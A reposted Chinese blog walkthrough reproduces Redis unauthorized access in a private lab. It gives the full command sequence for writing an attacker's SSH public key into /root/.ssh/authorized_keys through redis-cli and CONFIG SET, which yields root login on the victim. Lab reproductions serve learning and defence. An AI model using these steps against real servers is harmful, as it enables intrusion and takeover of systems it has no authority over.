• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

redis未授权访问

武飞扬头像
xclay
帮助1

出处:http://jiahuan.cc/post/4
因不同编辑器和样式原因,可能导致部分不太美观,建议源网页阅读

实验环境

机器 IP
ubuntu20.4(受害者) 192.168.105.129
kali 192.168.105.1

环境搭建

redis 安装

下载地址:https://github.com/redis/redis/archive/7.0.2.tar.gz

# 老规矩,解压移动到 /usr/local/src/下
tar -zxvf redis-7.0.2.tar.gz
sudo mv redis-7.0.2 /usr/local/src/redis

直接make就可以

sudo make

下图为成功安装后提示:

学新通

redis配置

注释87行,允许除本地外的主机远程登录 redis 服务

学新通

修改111行,将yes改为no,关闭保护模式,允许远程连接 redis 服务

学新通

#bind 127.0.0.1 -::1
protected-mode no

启动redis

进入redis目录下的src目录,执行 redis-server (利用刚刚编辑的配置文件启动)

./redis-server ../redis.conf

学新通

漏洞复现

nmap扫描

学新通

远程连接

kali需要先下载redis命令行工具,下载redis-tools

sudo apt install redis-tools

之后直接使用redis-cli 连接受害者(192.168.105.129)

redis-cli -h 192.168.105.129

连接成功后测试一下,随便输几个命令尝试一下,如下正常,未授权访问成功!

学新通

漏洞利用

目的:在受害者服务器写入ssh公钥,可以是我们免密登录,进行进一步利用

知识准备

一、redis-cli -x 命令

网上看到的解释有点云里雾里,但大致意思是将获得的数据赋值给-x 后面的参数,如下:

echo 1.txt|redis-cli -x set name

解读上面一句话,将1.txt的内容赋值给redis的name变量,当然这个变量也会保存到数据库

二、需要利用以下两个配置文件中的键值对:

学新通

数据库文件将会放在 dir/dbfilename 文件中

dir 默认是安装目录,受害者的安装目录是 /usr/local/src/redis

dbfilename 默认 dump.rdb

三、config是在redis运行时配置 Redis 服务器的命令,而不必,每次改配置文件,可以在运行时给上述 dir 等赋值

利用

当前是无法登录的(不知道密码)

学新通

一、生成自己ssh密钥

ssh-keygen

学新通

由上面可以看到在自己home目录会生成.ssh文件夹,.ssh文件夹内有以下两个文件

学新通

二、写入公钥到受害者服务器

为保证私钥的写入是正确的,我们先构造1.txt 格式如下:换行 私钥 换行

因为需要免密登录核心文件authorized_keys中的多个私钥就是以这种形式排列的

echo -e "\n`cat .ssh/id_rsa.pub`\n">1.txt 

学新通

下面一步就不多解释了

cat  1.txt|redis-cli -h 192.168.105.129 -x set clay

学新通

我们的私钥到现在已经成功写入到数据库了,但还无法免密登录,因为每次登录时都需要访问用户目录下的.ssh文件下的 authorized_keys 接下来我们要构造这个

三、构造 /root./.ssh/authorized_keys

数据是保存在dump.rdb文件中,而这个文件是保存在 dir目录下,如果我们把dir目录改变成 /root/.ssh ,dump.rdb文件重命名成authorized_keys,就完美解决了。

没错,利用config命令,给 dir 和 dbfilename重新赋值,以达到目的

先登陆一下,查看这两个变量的值

学新通

发现怎么改都不好使,一直报错,提示信息是受保护的配置不能更改

学新通

网上找了挺多资源,都没有办法解决,然后在配置文件中遨游了一段时间看到一个特殊的配置:(下图已修改完)

学新通

到132行,将注释改掉,将no改为yes,所以发现高版本默认是CONFIG SET修改不了dir和dbfilename配置。

#现在按照原先计划修改:
#dir 修改为 /root/.ssh/
#dbfilename 修改为 authorized_keys

#注意不要再行尾加分号等,会报错,下图中 dbfilename 值 后面有分号,是错误的!
config set dir /root/.ssh
config set dbfilename authorized_keys

学新通

不要忘了保存和退出

学新通

四、ssh免密连接

#当然直接 ssh root@192.168.105.129 连接也可以
ssh -i .ssh/id_rsa root@192.168.105.129

学新通

可以看到拿到受害者服务器 192.168.105.129 root权限,下图受害者机器root目录

学新通

期间有很多的坑,毕竟是复现,每个漏洞的形成都需要一定的条件,像redis未授权访问,需要开启很多配置文件,局限性还是蛮高,自己遇到的所有问题都已经再上面写了,如果有错误或者补充请联系博主。

[全文结]

参考链接

关于redis配置文件详解:http://t.csdn.cn/5sTKn

关于redis未授权访问参考:https://www.freebuf.com/vuls/162035.html

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhiacihf
系列文章
更多 icon
同类精品
更多 icon
继续加载